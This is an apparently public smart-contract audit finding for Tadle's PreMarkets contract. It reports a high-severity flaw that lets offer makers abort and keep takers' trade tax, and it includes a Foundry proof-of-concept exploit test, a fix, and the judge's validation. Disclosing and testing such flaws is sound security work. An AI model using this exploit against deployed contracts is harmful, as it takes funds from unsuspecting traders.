Tadle

Tadle
DeFiFoundry
27,750 USDC
View results
Submission Details
Severity: high
Valid

Maker can profit from taker's loss in aborted offers

Vulnerability Details

In the PreMarkets contract, makers can create offers that takers can accept by paying a platform fee and trade tax. If the maker aborts the offer using abortAskOffer(), they are refunded their collateral and keep the trade tax, while the taker loses the platform fee and trade tax.
This allows malicious makers to repeatedly profit at the expense of takers by creating offers, waiting for takers to accept, and then aborting the offers to retain the trade tax without any risk.

Impact

Makers can exploit this flaw to gain risk-free profits, leading to unfair losses for takers.

Proof of Concept

  1. Maker creates an offer for 100 points at 1 ETH.

  2. Taker accepts the offer, paying 1 ETH + platform fee + trade tax.

  3. Maker aborts the offer using abortAskOffer(), retaining the trade tax.

  4. Taker aborts their position using abortBidTaker() but loses the platform fee and trade tax.

Add this PoC to test/PreMarkets.t.sol and run forge test --mt test_PoC_CreateOffer_Steal_TradeTax -vvvv:

function test_PoC_CreateOffer_Steal_TradeTax() public {
// Approve the capital pool to spend USDC tokens
capitalPool.approve(address(mockUSDCToken));
// Check initial balances of user and user2
assertEq(mockUSDCToken.balanceOf(user), 10000000000000000000000);
assertEq(mockUSDCToken.balanceOf(user2), 10000000000000000000000);
// User creates an offer
vm.startPrank(user);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
100,
1 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address offer0Addr = GenerateAddress.generateOfferAddress(0);
// User2 takes the offer
vm.startPrank(user2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
preMarktes.createTaker(offer0Addr, 100);
// User aborts the ask offer
vm.startPrank(user);
address stock0Addr = GenerateAddress.generateStockAddress(0);
preMarktes.abortAskOffer(stock0Addr, offer0Addr);
// User withdraws funds, including trade tax
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
// User2 aborts their bid taker position
vm.startPrank(user2);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offer0Addr);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
// Check final balances
// User has gained 30000000000000000 (0.03 USDC) from trade tax
assertEq(mockUSDCToken.balanceOf(user), 10000030000000000000000);
// User2 has lost 1035000000000000000 (1.035 USDC) from platform fee and trade tax
assertEq(mockUSDCToken.balanceOf(user2), 9998965000000000000000);
}

[!NOTE]
For brevity the simplest PoC has been included, but this works for both Protected and Turbo offers, and due to another bug, maker can always abort their offer.

Recommendations

Modify the abortAskOffer() and abortBidTaker() functions to refund the trade tax and the platform fee paid to the taker when the offer is aborted by the maker.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-immediate-withdrawal-allow-maker-steal-funds

Valid high severity, given orginal offer makers are not a trusted entity to enforce a settlement. The trade tax set by the maker should be returned back to the takers to avoid abuse of abortion of ask offers to steal trade tax from takers. Note for appeals period: See issue #528 for additional details

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.